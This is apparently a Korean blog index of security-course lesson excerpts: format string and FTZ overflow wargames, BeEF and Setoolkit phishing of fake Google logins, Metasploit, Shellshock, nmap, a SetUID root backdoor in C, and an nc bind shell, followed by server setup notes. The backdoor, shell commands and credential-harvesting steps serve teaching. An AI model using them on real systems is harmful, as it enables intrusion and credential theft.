메가IT아카데미 국기과정/리눅스와 시스템보안39 [3-12] FTZ FSB printf() 함수를 사용할 때 인자로 '포맷 스트링'과 '포맷 스트링에 대응하는 인자'를 사용하지 않고 직접 변수를 인자로 사용할 경우, 악의적인 포멧 스트링을 삽입하여 스택 내용을 확인하거나 메모리 주소 값을 변조(원하는 위치에 특정 주소 값을 삽입)하는 취약점이다. 이때, 포멧 스트링 중에 '%n'을 이용하면 '%n' 앞에 출력된 자리수를 계산하여 스택 다음 4byte에 있는 내용을 주소로 여기고 해당 주소에 계산한 자리수를 10진수로 입력하기 때문에 포멧스트링 버그를 이용하여 스택의 값을 변조할 수 있다. 또한, %n 앞에 다른 포멧 스트링을 이용하면 자리수를 지정하거나 특정 값을 넣을 수 있다. (%64413d%n : '64413'을 넣어라) [참고] 포멧 스트링 %d : 정수형 10진수 상수.. 2022. 9. 12. [3-11] FTZ 9~19 1. FTZ Level 9 1-1. BoF 공격을 위한 소스 코드 내용 분석 buf, buf2 구조를 파악하여 BoF를 발생시켜서 buf2에 'go'라고하는 2개의 문자를 입력한다. 그럼 level10 권한을 획득하여 '/bin/bash' 쉘이 실행되어 level10 계정의 패스워드를 확인할 수 있다. BoF가 발생되는 원인은 buf는 10byte인데 fgets 함수로 40byte를 입력받기 때문이다. 1-2. '/usr/bin/bof' 파일은 gdb 디버깅 권한이 없기 때문에 hint에서 제공하는 소스 코드를 이용하여 프로그램을 제작한다. vi bof.c #include #include #include main(){ char buf2[10]; char buf[10]; printf("It can be o.. 2022. 9. 12. [3-10] 메모리 구조 1. 메모리 세그먼트 Text : 프로그램에 코드 값(소스 코드)이 저장된다. Data : 전역 변수 및 정적 변수가 저장된다. Heap :동적 변수 선언시 해당 정보가 저장된다. Stack : 지역 변수, 함수의 인자값, 리턴 주소가 저장된다. 1-1. 'test1.c' 메모리 구조 ① text 세그먼트 (실행 소스 코드 저장) #include #include int main() { printf("%s\n", string); return retVal; } ② Data 세그먼트 (전역 변수 및 정적 변수 저장) int retVal = 0; static int output = 1; ③ BSS (초기화 안된 변수 저장) int outVal; ④ Heap 세그먼트 (동적 메모리 할당시 사용) ptr = (ch.. 2022. 9. 12. [3-9] 어셈블리어 1. 어셈블리어 형식 형식 : OPCODE 오퍼랜드1, 오퍼랜드2 Intel 문법 : OPCODE [Destination] [Source] AT&T 문법 : OPCODE [Source] [Destination] 위치 명령어를 실행하고 다음 명령어로 넘어감 si 함수 내부 명령어로 진입함 break *0x08048348 특정 주소에 브레이크 포인트 지정 run 프로그램 실행 cont 다음 브레이크 포인트까지 프로그램 실행 info reg 레지스터 상태 확인 x/12x $esp ESP 기준으로 높은 주소(밑) 스택 정보 12개 출력 5. 지역 변수 해당 함수 내에서 사용하는 변수이며, 함수 처리가 완료되면 소멸된다. 함수 안에서 지역 변수를 선언하면, 스택에 SUB 명령어를 이용하여 공간을 확보한다. 이때,.. 2022. 9. 12. [3-8] 레지스터 구조 1. 범용 레지스터 EAX(Extended Accumulator Register) EDX(Extended Data Register) ECX(Extended Counter Register) EBX(Extended Base Register) ESI(Extended Source Index) EDI(Extended Destination Index) ESP(Extended Stack Pointer) EBP(Extended Base Pointer) [참고] EIP 다음 실행할 명령어의 주소 값을 저장하는 레지스터이다. 2. 세그먼트 레지스터 CS(Code Segment) DS(Data Segment) SS(Stack Segment) 2022. 9. 12. [3-7] BeEF 페이크 웹 사이트 제공 및 브라우저 후킹 도구 1. BeEF 실행 service apache2 restart beef-xss &# beef/beef firefox http://127.0.0.1:3000/ui/panel & 2. 타겟이 공격자 아이디로 접속하면 후킹된다. 3. 'BeEF'을 이용한 피싱 사이트 구성 Online Browsers [타겟 IP] -> Commands -> Social Engineering -> Google Phishing -> [내용] -> Execute [내용] XSS hook URI: http://0.0.0.0:3000/demos/basic.html Gmail logout interval (ms): 10000 Redirect delay (ms): 1000 4. 실제 구글 사.. 2022. 9. 12. [3-6] Setoolkit 페이크 웹 사이트을 제공하는 모의해킹 도구이다. 1. Setoolkit 환경 설정과 실행 service apache2 start# apache2 웹 서버 활성화 update-rc.d apache2 enable vi /etc/setoolkit/set.config APACHE_DIRECTORY=/var/www/html setoolkit 2. 다른 터미널 창에서 'index.html', 'harvester_2022-05-22 17:15:31.971424.txt', 'post.php' 파일 생성 확인 index.html : 가짜 Google 로그인 페이지 'harvester_2022-05-22 17:15:31.971424.txt' : 로그인할때 입력되는 아이디/패스워드가 저장되는 파일 post.php : 가짜 .. 2022. 9. 12. [3-5] Metasploit 1. Metasploit 주요 명령어 msfconsole : 메타스플로잇 실행 파일 msfdb : 메타스플로잇 DB 관리 실행 파일 msfvenom : 쉘 프롬프트에서 악성 코드를 제작할때 사용하는 실행 파일 msfupdate : 메타스플로잇 업데이트 실행 파일 2. 메타스플로잇 특징 2-1. 소스 코드는 Ruby 언어로 제작되어 있다. cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan 2-2. 아이디/패스워드를 크래킹할 수 있는 사전 대입 파일을 제공한다. cat /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt 3. msf & postg.. 2022. 9. 12. [3-4] Bash Shellshock 취약점 CVE-2014-6271, CVE-2014-7169 env x='() { :;}; ' 명령은 함수 형식으로 환경변수를 설정하는 방법이다. (:은 참을 의미) 만약, 명령어가 끝나는 ; 뒤에 오는 명령어는 오류가 발생되거나, 실행되지 않는게 원칙이다. 취약점이 있는 경우에는 ; 뒤에 오는 명령어가 실행되기 때문에 시스템 자원 접근 및 악의적인 명령을 실행 시킬수 있다. Bash Shellshock 취약점을 이용한 Reverse TCP 연결 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" [참고] CentOS 5.10 Yum Repo 변경 cat /etc/yum.repos.d/CentOS-Base.repo [base] name=CentOS-$.. 2022. 9. 12. [3-3] Nmap 스캔 nmap 사이트 : nmap.org 도움말 : nmap -h cat /usr/share/nmap/scripts/smb-vuln-ms17-010.nse 1. TCP Open 스캔 nmap -sT -p 22 [타겟 IP] 2. TCP Half-Open 스캔 nmap -sS -p 22 [타겟 IP] 3. TCP Fin 스캔 nmap -sF -p 22 [타겟 IP] 4. TCP Null 스캔 nmap -sN -p 22 [타겟 IP] 5. TCP X-Mas 스캔 nmap -sX -p 22 [타겟 IP] 6. UDP 스캔 nmap -sU -p 53 [타겟 IP] 7. ping(arp) 스캔 nmap -sP [타겟 IP] 8. 자주 사용하는 nmap 옵션 -sS : TCP Half-Open 스캔 -sV : 서비스 버.. 2022. 9. 12. [3-2] SetUID 특수 권한 일반 계정으로 'usermod' 명령어를 이용하여 계정에 대한 홈 디렉토리, 쉘 유형을 변경하면 '/etc/passwd' 파일에 쓰기 권한이 없기 때문에 설정이 반영되지 않는다. 그러나, 'usermod' 실행 파일에 SetUID를 설정하면 root 계정의 소유권을 일반 계정에게 할당하기 때문에 일반 계정에서도 'usermod' 명령어로 변경한 내용을 '/etc/passwd' 파일에 설정(쓰기)할 수 있다. 1. 'SetUID'를 이용한 백도어 구성 vi /tmp/backdoor.c #include #include #include int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; } gcc -o bashshell backdoor.c ch.. 2022. 9. 12. [3-1] Bind&Reverse TCP 1. Bind TCP 공격자가 타겟으로 TCP Syn를 전송하여 TCP 연결을 실시하는 공격이다. 이때, 타겟은 특정 포트에 대해서 TCP 연결 대기 상태(Listen)가 되어야 한다. (Ex : 백도어) 타겟이 공인 IP 환경이라면 Bind TCP 공격이 가능하지만, 사설 IP 환경이라면 공격이 불가능하다. 단, 포트 포워딩(정적 NAT)이 구성된 서버 및 시스템은 공격이 가능하다. 1-1. Bind TCP 실습 타겟에서 'nc'를 이용하여 TCP 포트 4444 연결 대기 상태로 설정한다. ./nc -e /bin/bash -vlp 4444 & netstat -nltp | head -2 ; netstat -nltp | grep 4444 공격자는 TCP Syn를 전송하여 Bind TCP 연결을 실시한다. .. 2022. 9. 12. [2-14] NTP 서버 UDP 123 포트를 예약해서 사용하고 있다. 1. NTP 서버 구축 1-1. NTP 패키지 설치와 활성화 yum -y install chrony rpm -qa chrony rpm -ql chrony systemctl enable --now chronyd systemctl status chronyd 1-2. '/etc/chrony.conf' 파일 설정 vi /etc/chrony.conf # pool 2.centos.pool.ntp.org iburst server time.bora.net iburst 192.168.2.200 # 다른 NTP 서버 지정 추가 allow 192.168.2.0/24 2. 'time.bora.net' NTP 서버로부터 시간 동기화 내용 확인 chronyc sources -v da.. 2022. 9. 12. [2-13] DHCP 서버 DHCP 구성 요소 : 서버, 클라이언트, DHCP Relay Agent 클라이언트(UDP 68) 서버(UDP 67) Discover ①---------------------------------> (서버 찾기 ) (IP 할당 요청) :nohl subnet 192.168.2.0 netmask 255.255.255.0 { range 192.168.2.240 192.168.2.249; option domain-name-servers 192.168.2.200, 8.8.8.8; option domain-name "hannimpeha.com"; option routers 192.168.2.254; option broadcast-address 192.168.2.255; default-lease-time 600; m.. 2022. 9. 12. [2-11] Email 서버 SMTP : 이메일을 이메일 서버에게 전송할때 사용(포트 번호 TCP 25) POP3 : 이메일 서버에게 이메일을 받아 올때 사용(포트 번호 TCP 110) 1. Sendmail 1-1. Sendmail 패키지 설치와 활성화 yum -y install sendmail rpm -qa sendmail rpm -ql sendmail | egrep -v '/usr/lib|/usr/share|/man/' systemctl enable --now sendmail systemctl status sendmail 1-2. Sendmail 서비스 관련 정보 확인 pgrep -a sendmail ps -ef | grep sendmail cat /etc/services | grep ^smtp netstat -nltp | gr.. 2022. 9. 12. 이전 1 2 3 다음